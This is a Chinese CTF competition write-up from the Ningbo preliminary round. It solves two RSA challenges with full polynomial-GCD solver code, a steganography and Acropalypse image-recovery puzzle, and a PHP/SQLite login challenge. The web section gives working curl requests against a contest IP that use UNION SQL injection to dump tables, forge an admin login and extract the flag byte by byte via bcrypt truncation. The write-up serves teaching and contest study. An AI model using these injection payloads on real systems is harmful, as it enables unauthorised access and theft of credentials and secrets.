宁波市第九届网安预选大赛
宁波初赛
密码
TWRSA
题目给了两个文件:

首先分析出题脚本 :

其中:
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 17
说明这是一个约 1024 bit 的 RSA 模数,并且公开指数为:
e = 17
flag 首先通过 bytes_to_long() 转换成整数:
flag = b"DASCTF{******}"
m = bytes_to_long(flag)
随后题目没有只对 m 加密一次,而是又构造了一个与 m线性相关的新明文:
m1 = m
m2 = (a * m + b) % n
其中 a 和 b 都是公开的随机整数。
最后:
c1 = pow(m1, e, n)
c2 = pow(m2, e, n)
这正是 Franklin-Reiter Related Message Attack,也就是 Franklin-Reiter 相关消息攻击 的典型使用场景。
题目给出的 enc.txt 内容为:
n = 138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838965800701295655562669888982509373037323009398256131040311476217969876349355188636100189323858719
e = 17
a = 83569586940358269616483736110794388963219631058001258801697045291710199195400482148579966002846094031748727522549265827755957695685599541505034870366329222184857852820619894169255286434870206982751257383401127863604412385165432761065569753353680589063164484059820837387598552737543997828852226963445212665327
b = 126306379194267276529742821477354470543159186929678783757564699918657646687078400294668439303545554324843015121035370635254230607808767176278498127759415349412530449734407997247866924666117281609645700444715667659304006049394635609159672838928033076079864979982977330392135958698967527018497913889682682699713
c1 = 63223410133361659979495914777880794068722032782064277746832775301143976654364124947629297373957018811106810454534207081275822695767399804773422869246358492059488808587178325850627743232015328320685779733024782095383159759972035459543516495558423952356219533597176382437041414699287247816416121835144236700665
c2 = 67879050967633310792776582619133880858175729883729797947563722632111275354989254473463698360968855132443371848470959047709580194662921774251342611326115640825584744607284821773716044021105929039986955814643647088470270852499870979477853176977228506630904043234759595566235200071884100944702655197101547596786
其中 c1 和 c2 与题目生成脚本输出的两个密文对应。
由题目可知:
构造两个关于未知数 x 的多项式:
将真实明文 m 代入:
同时:
因此 m 同时是 f1(x) 和 f2(x) 的根。
也就是说两个多项式都有公共因子:
所以在模 n 的多项式环中计算:
正常情况下即可得到:
然后直接恢复 m。
第一个多项式很直接:
第二个为:
利用二项式定理:
其中 k = 0,1,...,17。
因此可以直接计算出 f2 每一项的系数,无须手动展开巨大的整数。
然后对 f1 和 f2 使用多项式欧几里得算法:
A = f1
B = f2
while B != 0:
A, B = B, A mod B
直到余数变成 0。
本题实际余式次数变化为:
17,17 -> 16
17,16 -> 15
16,15 -> 14
15,14 -> 13
14,13 -> 12
13,12 -> 11
12,11 -> 10
11,10 -> 9
10,9 -> 8
9,8 -> 7
8,7 -> 6
7,6 -> 5
6,5 -> 4
5,4 -> 3
4,3 -> 2
3,2 -> 1
2,1 -> 0
最终得到一次多项式。
将最高次项归一化之后结果为:
其中:
C =
138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838396300026855272841082959683674804425735707066947330621357061176404467904071949427311464972145058
因为:
而程序输出的是:
所以:
得到:
m =
569500674440382721586929298834568611587302331308800418954415041565408445283239208788724351713661
转换成十六进制:
4441534354467b50306c796e306d31616c5f4743445f31735f5468335f4b33795f54305f5253417d
再转成 ASCII:
DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}
#!/usr/bin/env python3
from math import comb
n = 138135102345212422731809266578654125421263741277247527001823275028277558784792687955638792735411664664786385055354789115814334998471148614834220637589262273400765606158837835776555245956950490297851781347624743838965800701295655562669888982509373037323009398256131040311476217969876349355188636100189323858719
e = 17
a = 83569586940358269616483736110794388963219631058001258801697045291710199195400482148579966002846094031748727522549265827755957695685599541505034870366329222184857852820619894169255286434870206982751257383401127863604412385165432761065569753353680589063164484059820837387598552737543997828852226963445212665327
b = 126306379194267276529742821477354470543159186929678783757564699918657646687078400294668439303545554324843015121035370635254230607808767176278498127759415349412530449734407997247866924666117281609645700444715667659304006049394635609159672838928033076079864979982977330392135958698967527018497913889682682699713
c1 = 63223410133361659979495914777880794068722032782064277746832775301143976654364124947629297373957018811106810454534207081275822695767399804773422869246358492059488808587178325850627743232015328320685779733024782095383159759972035459543516495558423952356219533597176382437041414699287247816416121835144236700665
c2 = 67879050967633310792776582619133880858175729883729797947563722632111275354989254473463698360968855132443371848470959047709580194662921774251342611326115640825584744607284821773716044021105929039986955814643647088470270852499870979477853176977228506630904043234759595566235200071884100944702655197101547596786
# ------------------------------------------------------------
# 多项式使用列表保存:
#
# [c0, c1, c2, ...]
#
# 表示:
#
# c0 + c1*x + c2*x^2 + ...
# ------------------------------------------------------------
def trim(f):
"""删除最高次的 0 系数。"""
f = [x % n for x in f]
while len(f) > 1 and f[-1] == 0:
f.pop()
return f
def degree(f):
"""返回多项式次数。"""
f = trim(f)
if len(f) == 1 and f[0] == 0:
return -1
return len(f) - 1
def is_zero(f):
"""判断是否为零多项式。"""
f = trim(f)
return len(f) == 1 and f[0] == 0
def poly_sub(f, g):
"""计算 f-g。"""
length = max(len(f), len(g))
result = [0] * length
for i in range(length):
x = f[i] if i < len(f) else 0
y = g[i] if i < len(g) else 0
result[i] = (x - y) % n
return trim(result)
def poly_divmod(f, g):
"""
多项式长除法。
返回:
quotient, remainder
"""
f = trim(f[:])
g = trim(g[:])
if is_zero(g):
raise ZeroDivisionError("zero polynomial")
if degree(f) < degree(g):
return [0], f
quotient = [0] * (degree(f) - degree(g) + 1)
# Python 3.8+ 支持 pow(a, -1, n) 求模逆。
inv_lead = pow(g[-1], -1, n)
while not is_zero(f) and degree(f) >= degree(g):
d = degree(f) - degree(g)
coefficient = (
f[-1] * inv_lead
) % n
quotient[d] = coefficient
# coefficient * x^d * g
tmp = [0] * d
tmp += [
coefficient * x % n
for x in g
]
f = poly_sub(f, tmp)
return trim(quotient), trim(f)
def make_monic(f):
"""
将多项式最高次项系数归一化为 1。
"""
f = trim(f)
inv = pow(f[-1], -1, n)
return trim([
x * inv % n
for x in f
])
def poly_gcd(f, g):
"""
多项式欧几里得算法。
"""
f = trim(f)
g = trim(g)
step = 1
while not is_zero(g):
_, r = poly_divmod(f, g)
print(
f"[{step:02d}] "
f"deg(f)={degree(f):2d}, "
f"deg(g)={degree(g):2d}, "
f"deg(r)={degree(r):2d}"
)
f, g = g, r
step += 1
return make_monic(f)
# ------------------------------------------------------------
# 构造:
#
# f1(x) = x^17 - c1
# ------------------------------------------------------------
f1 = [0] * (e + 1)
f1[0] = (-c1) % n
f1[e] = 1
# ------------------------------------------------------------
# 构造:
#
# f2(x) = (a*x+b)^17 - c2
#
# 二项式展开:
#
# (a*x+b)^17
# =
# Σ C(17,k) * a^k * b^(17-k) * x^k
# ------------------------------------------------------------
f2 = [0] * (e + 1)
for k in range(e + 1):
f2[k] = (
comb(e, k)
* pow(a, k, n)
* pow(b, e - k, n)
) % n
f2[0] = (f2[0] - c2) % n
# ------------------------------------------------------------
# 求 GCD
# ------------------------------------------------------------
g = poly_gcd(f1, f2)
print()
print("[+] gcd =", g)
# ------------------------------------------------------------
# Franklin-Reiter 正常情况下得到:
#
# g(x) = x-m
#
# 归一化后:
#
# g = [constant, 1]
#
# 所以:
#
# m = -constant mod n
# ------------------------------------------------------------
if degree(g) != 1:
raise Exception(
f"GCD degree error: {degree(g)}"
)
m = (-g[0]) % n
# ------------------------------------------------------------
# 转换成字节
# ------------------------------------------------------------
flag = m.to_bytes(
(m.bit_length() + 7) // 8,
"big"
)
print()
print("[+] m =", m)
print("[+] hex =", hex(m))
print("[+] flag =", flag)
# ------------------------------------------------------------
# 验证第一个密文
# ------------------------------------------------------------
assert pow(m, e, n) == c1
# ------------------------------------------------------------
# 验证第二个密文
# ------------------------------------------------------------
m2 = (a * m + b) % n
assert pow(m2, e, n) == c2
print("[+] c1 check passed")
print("[+] c2 check passed")

Dual Poly
1. 题目与附件
题目名称:Dual Poly。题面提示 “Look at my dual RSA!”。附件包含 task.py 与 output.txt。源码并不是直接计算常规 RSA 的 c=m^e mod n,而是先对同一明文 m 使用两组逆指数 d1、d2,再把结果送入同一个 63 次多项式。
这段内容是一个 Python 代码片段,其中存在一些不正确的标点符号和语法问题。以下是优化后的版本:
m = bytes_to_long(flag)
p, q = getPrime(512), getPrime(512)
n = p * q
e1, e2 = randint(1, n), randint(1, n)
d1, d2 = inverse(e1, (p - 1) * (q - 1)), inverse(e2, (p - 1) * (q - 1))
c1 = sum([pow(m, d1, n) * i % n for i in range(64)]) % n
c2 = sum([i * pow(pow(m, d2, n), i, n) for i in range(64)]) % n

2. 数学关系
对任意一组 \((e,d,c)\),令 \(x \equiv m^d \pmod n\)。源码中的密文满足:
因此 \(x\) 是下面 63 次多项式的一个根:
另一方面,由 \(d \equiv e^{-1} \pmod{\varphi(n)}\),在 RSA 可逆消息的通常条件下有:
所以问题可改写为:已知 \(x\) 是 \(F_c\) 的某个根,怎样构造一个关于 \(Y=x^e=m\) 的低次多项式?
3. Companion Matrix 消元
先把 \(F_c\) 首一化。因为 \(n\) 是两个 512 bit 素数的乘积,63 与 \(n\) 互素,可计算 \(63^{-1} \bmod n\):
设 \(C\) 为 \(f_c\) 的 companion matrix。\(C\) 的特征值就是 \(f_c\) 在代数闭包中的 63 个根 \(r_i\),因此 \(C^e\) 的特征值是 \(r_i^e\)。于是:
真正的 \(x=m^d\) 正是某个 \(r_i\),因此 \(x^e=m\) 必定满足 \(P(m) \equiv 0 \pmod n\)。这就把未知的 RSA 中间量 \(x\) 消掉,得到关于明文 \(m\) 的 63 次 “m-root polynomial”。
3.1
先在商环 \(R=(\mathbb{Z}/n\mathbb{Z})[X]/(f_c)\) 中快速计算 \(r(X)=X^e \bmod f_c\),再构造“乘以 \(r(X)\)”的 \(63 \times 63\) 线性算子矩阵 \(M\)。该矩阵等价于 \(r(C)=C^e\),因此 \(\operatorname{charpoly}(M)\) 与 \(\operatorname{charpoly}(C^e)\) 完全一致。
- 商环快速幂:约 1022 bit / 1018 bit 的指数通过平方-乘法计算。
- 矩阵构造:以 1,X,...,X^62 为基,构造 multiplication matrix。
- 特征多项式:使用 traces + Newton identities 在 Z/nZ 上计算。因为 1..63 都与 n 互素,Newton 公式中的除法均可逆。

4. Dual:两组多项式求公共根
对 \((e_1,c_1)\) 和 \((e_2,c_2)\) 分别执行上述过程,可以得到两个关于同一明文 \(m\) 的 63 次多项式:
单独一个 \(P_i\) 仍然包含多个候选根;“Dual” 的关键就是两组数据共享同一个 \(m\),因此直接计算:
两组 m-root polynomial 构造完成后,继续计算多项式 gcd。

两组 63 次 m-root polynomial 构造完成并开始 gcd
Euclidean GCD 最终从 63 次一路收敛为一次公共因子:
于是直接由一次多项式得到 m,再把整数按大端序还原成字节串即可。

gcd 收敛、恢复 m 与 Flag
[+] gcd degree = 1
[+] m = 45120491986545788653580462932894608401025104687099522869527822054614808727564588392489522063759502731046637464412440744458621
[+] flag = DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}
[time] 0:17.72 real
6. 最终答案
完整 Flag:
DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}
题目要求只提交花括号内内容,因此提交:
J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly
脚本:
001 #include <gmpxx.h>
002 #include <iostream>
003 #include <vector>
004 #include <string>
005 #include <chrono>
006 #include <algorithm>
007 using namespace std;
008 using Z = mpz_class;
009 using Poly = vector<Z>; // low -> high
010
011 static Z N;
012 static const int K = 63;
013
014 inline void modn(Z &x){ mpz_mod(x.get_mpz_t(), x.get_mpz_t(), N.get_mpz_t()); }
015 inline Z modv(const Z& x){ Z r; mpz_mod(r.get_mpz_t(), x.get_mpz_t(), N.get_mpz_t()); return r; }
016
017 Poly mulmod_poly(const Poly& a, const Poly& b, const Poly& f){
018 vector<Z> t(2*K-1);
019 for(int i=0;i<K;i++) if(a[i]!=0)
020 for(int j=0;j<K;j++) if(b[j]!=0)
021 mpz_addmul(t[i+j].get_mpz_t(), a[i].get_mpz_t(), b[j].get_mpz_t());
022 for(int d=2*K-2; d>=K; --d){
023 modn(t[d]);
024 if(t[d]==0) continue;
025 int base=d-K;
026 for(int j=0;j<K;j++)
027 mpz_submul(t[base+j].get_mpz_t(), t[d].get_mpz_t(), f[j].get_mpz_t());
028 }
029 Poly r(K);
030 for(int i=0;i<K;i++){ r[i]=t[i]; modn(r[i]); }
031 return r;
032 }
033
034 Poly pow_x_mod(Z e, const Poly& f){
035 Poly res(K), base(K); res[0]=1; base[1]=1;
036 int bits=mpz_sizeinbase(e.get_mpz_t(),2), done=0;
037 while(e>0){
038 if(mpz_odd_p(e.get_mpz_t())) res=mulmod_poly(res,base,f);
039 e >>= 1;
040 done++;
041 if(e>0) base=mulmod_poly(base,base,f);
042 if(done%128==0 || done==bits) cerr << " [pow] " << done << "/" << bits << " bits\n";
043 }
044 return res;
045 }
046
047 using Mat = vector<vector<Z>>;
048
049 Mat multiplication_matrix(const Poly& r, const Poly& f){
050 Mat M(K, vector<Z>(K));
051 Poly v=r;
052 for(int col=0; col<K; ++col){
053 for(int row=0; row<K; ++row) M[row][col]=v[row];
054 Z lead=v[K-1];
055 Poly nv(K);
056 nv[0] = -lead*f[0]; modn(nv[0]);
057 for(int i=1;i<K;i++){ nv[i]=v[i-1]-lead*f[i]; modn(nv[i]); }
058 v.swap(nv);
059 }
060 return M;
061 }
062
063 Mat matmul(const Mat& A, const Mat& B){
064 Mat C(K, vector<Z>(K));
065 for(int i=0;i<K;i++){
066 for(int k=0;k<K;k++) if(A[i][k]!=0){
067 const Z &a=A[i][k];
068 for(int j=0;j<K;j++) if(B[k][j]!=0)
069 mpz_addmul(C[i][j].get_mpz_t(), a.get_mpz_t(), B[k][j].get_mpz_t());
070 }
071 for(int j=0;j<K;j++) modn(C[i][j]);
072 }
073 return C;
074 }
075
076 Z trace(const Mat& A){ Z s=0; for(int i=0;i<K;i++) s += A[i][i]; modn(s); return s; }
077
078 Poly charpoly_via_newton(const Mat& M){
079 vector<Z> p(K+1), c(K+1); // c[0]=1, c[k] coefficient y^(K-k)
080 c[0]=1;
081 Mat P=M;
082 for(int k=1;k<=K;k++){
083 p[k]=trace(P);
084 Z s=p[k];
085 for(int i=1;i<k;i++) mpz_addmul(s.get_mpz_t(), c[i].get_mpz_t(), p[k-i].get_mpz_t());
086 modn(s);
087 Z kinv;
088 Z kk=k;
089 if(mpz_invert(kinv.get_mpz_t(), kk.get_mpz_t(), N.get_mpz_t())==0){ cerr<<"noninvertible k="<<k<<"\n"; exit(2); }
090 c[k]= -s*kinv; modn(c[k]);
091 cerr << " [charpoly] coefficient " << k << "/" << K << "\n";
092 if(k<K) P=matmul(P,M);
093 }
094 Poly out(K+1); out[K]=1;
095 for(int k=1;k<=K;k++) out[K-k]=c[k];
096 return out;
097 }
098
099 void trim(Poly& a){ while(a.size()>1 && a.back()==0) a.pop_back(); }
100 Poly monic(Poly a){
101 trim(a); if(a.size()==1 && a[0]==0) return a;
102 Z inv;
103 if(mpz_invert(inv.get_mpz_t(), a.back().get_mpz_t(), N.get_mpz_t())==0){
104 Z g; mpz_gcd(g.get_mpz_t(), a.back().get_mpz_t(), N.get_mpz_t());
105 cerr << "[!] non-unit leading coefficient, gcd="<<g<<"\n"; exit(3);
106 }
107 for(auto &x:a){ x*=inv; modn(x); }
108 return a;
109 }
110 Poly rempoly(Poly a, const Poly& b0){
111 Poly b=monic(b0); trim(a);
112 int db=(int)b.size()-1;
113 while((int)a.size()-1>=db && !(a.size()==1 && a[0]==0)){
114 int da=(int)a.size()-1; Z t=a.back(); int sh=da-db;
115 if(t!=0){
116 for(int j=0;j<=db;j++){ a[sh+j] -= t*b[j]; modn(a[sh+j]); }
117 }
118 trim(a);
119 }
120 return a;
121 }
122 Poly gcdpoly(Poly a, Poly b){
123 a=monic(a); b=monic(b);
124 int round=0;
125 while(!(b.size()==1 && b[0]==0)){
126 Poly r=rempoly(a,b); a=b; b=monic(r); round++;
127 cerr << " [gcd] round "<<round<<", degree="<<((int)a.size()-1)<<" -> "<<((int)b.size()-1)<<"\n";
128 }
129 return monic(a);
130 }
131
132 Poly build_root_poly(const Z& e, const Z& cc, int idx){
133 Z inv63; Z si=63;
134 if(mpz_invert(inv63.get_mpz_t(), si.get_mpz_t(), N.get_mpz_t())==0){ cerr<<"63 not invertible\n"; exit(1); }
135 Poly f(K+1); f[0]=-cc*inv63; modn(f[0]);
136 for(int i=1;i<=K;i++){ f[i]=Z(i)*inv63; modn(f[i]); }
137 cerr << "[+] P"<<idx<<": computing x^e mod f(x)\n";
138 auto t0=chrono::steady_clock::now();
139 Poly r=pow_x_mod(e,f);
140 cerr << "[+] P"<<idx<<": quotient-ring exponentiation finished in "<<chrono::duration_cast<chrono::milliseconds>(chrono::steady_clock::now()-t0).count()/1000.0<<" s\n";
141 cerr << "[+] P"<<idx<<": building multiplication matrix\n";
142 Mat M=multiplication_matrix(r,f);
143 cerr << "[+] P"<<idx<<": deriving characteristic polynomial\n";
144 Poly cp=charpoly_via_newton(M);
145 cerr << "[+] P"<<idx<<": degree "<<K<<" m-root polynomial ready\n";
146 return cp;
147 }
148
149 int main(){
150 N = Z("60959078334387545174063137470268047507172232525983373689032758117216565682996162265546846609875371227252336412496115606187827259803450770810574435659128021697069598440752312612273670111718418085608959589034388553909945018073488149871008631478185663189172003567928722587828055654546313822366900370962869240393");
151 Z e1("25080185602921164641457779691264555950803708973459791702552859196152920386781315187127980680250722377905434772682465255538688916036832973212421222920467552688169338949641648947149548506493771954945163535084523492194938951063178603994088731260373092795225438907249612237869216271405461846502429010597434945129");
152 Z e2("2686917894806306564105069645025598170001493222147939881910882612002619762827095181623015405336605399564697669411214715092491707199306077815347849574322393128446302565338306829483225475725645138320732244761574356546037259338204816353839338403152826330426168936100838988072600994897248609363630425741221535167");
153 Z c1("39165033187459854259044916261644894532923988516246313646829662519394302481092871197909104163709186848292457858259875810315102170606454867532551322796881896450899276930100349230318586105505144321492466947631714356487940237401071542087835426078302367825435649348015848193466109067177234037081324611791585790297");
154 Z c2("27995375435584804726153834858077480529641682279536108892909206601950410771803503693236168750304583015422077798910880859774746296760471579898801003345025172084543282632881139350213579495064877044761461563546254124445373800834742347922943172855897004531317927959023071295012569100116598090731605517348407531698");
155
156 cerr << "[+] Dual Poly solver \n";
157 Poly P1=build_root_poly(e1,c1,1);
158 Poly P2=build_root_poly(e2,c2,2);
159 cerr << "[+] computing gcd(P1, P2)\n";
160 Poly G=gcdpoly(P1,P2);
161 cout << "[+] gcd degree = " << (int)G.size()-1 << "\n";
162 if(G.size()!=2){ cerr<<"unexpected gcd degree\n"; return 4; }
163 Z inva1; if(!mpz_invert(inva1.get_mpz_t(), G[1].get_mpz_t(), N.get_mpz_t())) return 5;
164 Z m=-G[0]*inva1; modn(m);
165 cout << "[+] m = " << m << "\n";
166 // integer to bytes big-endian
167 size_t count=0; vector<unsigned char> buf((mpz_sizeinbase(m.get_mpz_t(),2)+7)/8);
168 mpz_export(buf.data(), &count, 1, 1, 1, 0, m.get_mpz_t());
169 string flag((char*)buf.data(), count);
170 cout << "[+] flag = " << flag << "\n";
171 return 0;
172 }
MISC
Happy Adventure
题目给出 First Challenge.png,正文中特意说明“截图时不小心点到了全图截屏,修改时不小心把秘钥也截掉了”。这句话直接提示我们:被裁剪掉的区域可能仍然残留在 PNG 文件中。

题目给出的 First Challenge.png
这类现象与 Windows 截图工具裁剪后残留原始像素数据的问题高度吻合,因此第一步应从 PNG 裁剪残留恢复入手。
2. 恢复被裁掉的全屏截图
使用 CVE-2023-28303(Acropalypse)对应的 PNG 恢复思路,对 First Challenge.png 中裁剪后残留的 Deflate/PNG 数据进行恢复。根据残留数据恢复出的原始画布为 2560×1440。
恢复出的全屏截图中,左侧关键区域已经能够直接看到被裁掉的秘钥提示和浏览器中的 CVE 编号。下面放大关键区域:

恢复截图中的“秘钥即为CVE编号”和 CVE-2023-28303
恢复出的截图左上角直接写着“秘钥即为CVE编号”,而浏览器搜索结果中出现 CVE-2023-28303。因此可以确定 Adventure.zip 的第一层密码为:
CVE-2023-28303
3. 解压 Adventure.zip
用 CVE-2023-28303 作为密码解压 Adventure.zip,可以得到 Readme.txt、wow.png、whatsthis.txt 和 Secret time.zip。Readme 内容为:
小李在地下室寻找到了一台尘封已久的电脑,你能帮他找到开机秘钥吗
说明下一阶段目标仍然是寻找新的“秘钥”。
4. 分析 wow.png:二维码 + PNG 尾部隐藏信息

wow.png 中的二维码
二维码解码结果为:
Sorry,TimeKey has been hiden by me ,and you never get it!!! ---Vicious Alpha.ext
这里明确给出了关键词 TimeKey。继续检查 wow.png 的文件尾部,可以在正常 IEND 之后发现额外字符串:
why you find it?
Zss010C3 is the obstacle
因此 Zss010C3 是后续数据中的干扰串,需要将它移除。
5. 修复 whatsthis.txt
whatsthis.txt 看起来是一段 Base64,但其内容被人为破坏。检查发现字符串 Zss010C3 一共被插入了 8 次;同时数据开头为 GgoAAA...,缺少 PNG Base64 常见前缀。
处理方法:先删除全部 Zss010C3,再在最前面补上 iVBORw0K,随后 Base64 解码。
import base64
with open('whatsthis.txt', 'r', encoding='utf-8') as f:
data = f.read().strip()
data = data.replace('Zss010C3', '')
data = 'iVBORw0K' + data
with open('whatsthis_clean.png', 'wb') as f:
f.write(base64.b64decode(data))
修复后得到一张新的 PNG:

修复 whatsthis.txt 后得到的 TimeKey 图片
图片中给出了:
YOU FIND TimeKey
2144483000
因此第二层密码(TimeKey)为 2144483000。
6. 解压 Secret time.zip
使用 2144483000 解压 Secret time.zip,可以得到 DontReadme.txt、Readme.txt 和 日志.rar。Readme 内容为:
小李在这台古老的电脑中发现了一些崭新的文件,请你来帮他寻找其中的秘密吧
“古老的电脑”“崭新的文件”“Secret time”“TimeKey”都在强调时间属性,因此重点转向 日志.rar 中各文件的时间戳,而不是文件正文。
7. 从 RAR 的 ctime 中恢复 Flag
日志.rar 中共有 日志0.txt ~ 日志20.txt。关键点是读取 RAR 元数据中的创建时间 ctime。不要直接依赖 Linux 解压后文件的本地 ctime,因为解压过程可能会改变它;直接解析 RAR 元数据更稳定。
把每个文件的 ctime 转成 Unix 时间戳,再减去 TimeKey 2144483000,结果恰好落在 ASCII 范围。按文件编号顺序转换字符即可。
import re
import rarfile
TIME_KEY = 2144483000
rf = rarfile.RarFile('日志.rar')
infos = [x for x in rf.infolist() if re.search(r'日志\d+.txt', x.filename)]
infos.sort(key=lambda x: int(re.search(r'日志(\d+)\.txt', x.filename).group(1)))
result = ''
for info in infos:
ts = int(info.ctime.timestamp())
value = ts - TIME_KEY
ch = chr(value)
print(info.filename, info.ctime, ts, value, ch)
result += ch
print(result)
print('flag' + result)

RAR 中 ctime 的实际解析结果与字符恢复结果
例如 日志0.txt 的 ctime 为 2037-12-15 09:45:23 UTC,对应 Unix 时间戳 2144483123:
2144483123 - 2144483000 = 123
chr(123) = "{"
继续按 日志0.txt → 日志20.txt 的顺序处理,最终得到:
{W0w!_Y0u_F1nD_M4!!!}
文件 ctime Unix 减 TimeKey 字符
日志0.txt 2144483123 123 {
日志1.txt 2144483087 87 W
日志2.txt 2144483048 48 0
日志3.txt 2144483119 119 w
日志4.txt 2144483033 33 !
日志5.txt 2144483095 95 _
日志6.txt 2144483089 89 Y
日志7.txt 2144483048 48 0
日志8.txt 2144483117 117 u
日志9.txt 2144483095 95 _
日志10.txt 2144483070 70 F
日志11.txt 2144483049 49 1
日志12.txt 2144483110 110 n
日志13.txt 2144483068 68 D
日志14.txt 2144483095 95 _
日志15.txt 2144483077 77 M
日志16.txt 2144483052 52 4
日志17.txt 2144483033 33 !
日志18.txt 2144483033 33 !
日志19.txt 2144483033 33 !
日志20.txt 2144483125 125 }
8. 解题链总结
First Challenge.png
↓ PNG 裁剪残留恢复(CVE-2023-28303 / Acropalypse)
恢复全屏截图
↓
“秘钥即为CVE编号” + CVE-2023-28303
↓
解压 Adventure.zip
↓
wow.png 二维码 → TimeKey
wow.png IEND 后 → Zss010C3 is the obstacle
↓
whatsthis.txt 删除 Zss010C3 + 补 iVBORw0K + Base64 解码
↓
TimeKey = 2144483000
↓
解压 Secret time.zip → 日志.rar
↓
RAR ctime Unix - 2144483000 → ASCII
↓
{W0w!_Y0u_F1nD_M4!!!}
Web
crazy_sql
1. 源码与注入点
<!-- /?source --> 注释有源码提示。
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
$flag = str_replace("\n", "", file_get_contents("/flag.txt"));
$secret = str_replace("\n", "", file_get_contents("/secret.txt"));
$db = new SQLite3('/db.sqlite3');
$pattern = '/\b(insert|update|delete|drop|truncate|alter|database|attach|values|load_extension)\b/i';
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';
if (isset($_GET['salt']) && strcmp($_GET['salt'], $secret) == 0) {
$password .= $flag;
}
$pwhash = crypt($password, $secret);
if ($username && $password) {
if (!preg_match($pattern, $username) && !preg_match($pattern, $password)) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
if (!$res) {
$msg = "用户名或密码无效";
} else if ($res['pwhash'] === $pwhash) {
$u = htmlentities($res['username']);
$msg = "欢迎 $u 用户登陆!";
if ($res['username'] === 'admin') {
$msg .= "<!-- secret: $secret -->";
}
} else {
$msg = "你的登陆密码错误:$pwhash";
}
} else {
$msg = "检测到潜在的 SQL 注入攻击";
}
}
?>
username 字段存在注入点;UNION、SELECT、OR 均没有被过滤。
登录失败回显 crypt($password, $secret)
admin 登录成功时 HTML 注释输出完整 $secret
因此攻击者只需要提交任意密码,就可以得到服务器使用 $secret 计算出的 crypt 哈希结果。
这意味着虽然不知道 $secret,但可以获得一个可验证的哈希结果,后续可以利用该结果构造 UNION 注入所需要的 pwhash
2. UNION 注入 + 哈希 Oracle 打通“欢迎”通道
2.1 哈希 Oracle:获取已知哈希 H
密码填 a,账号填 admin,登录失败回显 crypt("a", $secret):
curl -s -X POST http://45.40.247.139:17049/ -d "username=admin&password=a"
# → 你的登陆密码错误:$2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC
得到有效 bcrypt 盐 = $2a$10$77b438009c258a4cb0215O,同时拿到可复用的已知哈希:
H = $2a$10$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC

2.2 UNION 通用回显模板
把返回行第 2 列设成 H,使 $res['pwhash'] === $pwhash 恒成立,第 1 列内容经「欢迎 $u」回显(密码恒为 a):
curl -s -X POST http://45.40.247.139:17049/ \
-d "username=' UNION SELECT <col1>, '<H>' FROM <表> -- &password=a"
2.3 导出数据库结构
curl -s -X POST http://45.40.247.139:17049/ \
-d "username=' UNION SELECT group_concat(sql, char(10)), '$2a$10\$77b438009c258a4cb0215OT5BDFQzsJVmrpanlkmed5C5HJfTbyDC' FROM sqlite_master -- &password=a"
# → 欢迎 CREATE TABLE users (
# username TEXT NOT NULL,
# pwhash TEXT NOT NULL
# ) 用户登陆!
2.4 导出用户数据
curl -s -X POST http://45.40.247.139:17049/ \
-d "username=' UNION SELECT group_concat(username || ':' || pwhash, char(10)), '<H>' FROM users -- &password=a"
# → 欢迎 admin:$2a$10$77b438009c258a4cb0215OZRYXCkiwLFb2qMGtEgGxBxVJ9u0baBK 用户登陆!
2.5 伪造 admin 登录,泄露完整 secret
curl -s -X POST http://45.40.247.139:17049/ \
-d "username=' UNION SELECT 'admin', '<H>' FROM users -- &password=a"
# → 欢迎 admin 用户登陆!
# <!-- secret: $2a$10$77b438009c258a4cb0215c98a19cfb61$ -->
注意:$secret(strcmp 比对用)与 crypt 实际生效的盐不同——strcmp 用完整串 $2a$10$77b438009c258a4cb0215c98a19cfb61$,PHP crypt() 对该串解析出的有效 bcrypt 盐为 $2a$10$77b438009c258a4cb0215O。两者都需通过 oracle 实测确认。
3. 注入 ?salt=<secret> 触发 Flag 拼接
curl -s -X POST "http://45.40.247.139:17049/?salt=%242a%2410%2477b438009c258a4cb0215c98a19cfb61%24" \
-d "username=admin&password=a"
# → 你的登陆密码错误:$2a$10$77b438009c258a4cb0215OcmGTi85FVUw...
回显哈希与无 salt 时不同 → strcmp 通过,$password .= $flag 生效,回显的是 crypt("a" + flag, $secret)。
4. 利用 bcrypt 72 字节截断逐字符提取 Flag
bcrypt 输入超过 72 字节会被截断。设密码为 'A' * (72 - n):
超长部分被截掉,只保留前 \(n\) 个 Flag 字符。
于是每轮只依赖 flag 的新增 1 个字符,配合本地 python bcrypt 复算比对:
已知 flag[:n-1]
target = 服务器回显 crypt("A"*(72-n) + flag, $secret) # 每次 1 个请求,即 Step 2 的请求
对候选 c ∈ 字符集:
若 bcrypt("A"*(72-n) + flag[:n-1] + c, SALT) == target → 该字符命中
单字符提取示例(n=9,即确定 DASCTF{8T 后的下一位):
curl -s -X POST "http://45.40.247.139:17049/?salt=%242a%2410%2477b438009c258a4cb0215c98a19cfb61%24" \
-d "username=admin&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # 63 个 A = 72-9
# → 你的登陆密码错误:<target> # 本地暴力 bcrypt("A"*63 + "DASCTF{8T" + c, SALT) 逐字符比对

5. 最终结果
DASCTF{83101135119177599465579149751960}
脚本附录
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""crazy_sql fast extraction via welcome channel
username = ' UNION SELECT <col1>, '<H>' -- + password=a -> pwhash matches -> "欢迎 <result>"
"""
import requests, html, sys, urllib.parse
URL = "http://45.40.247.139:17049/"
PASSWORD = "a"
H = None
def get_H():
r = requests.post(URL, data={"username": "admin", "password": PASSWORD}, timeout=15)
import re
m = re.search(r"你的登陆密码错误:([^\s<]+)", r.text)
return m.group(1) if m else None
def query(expr):
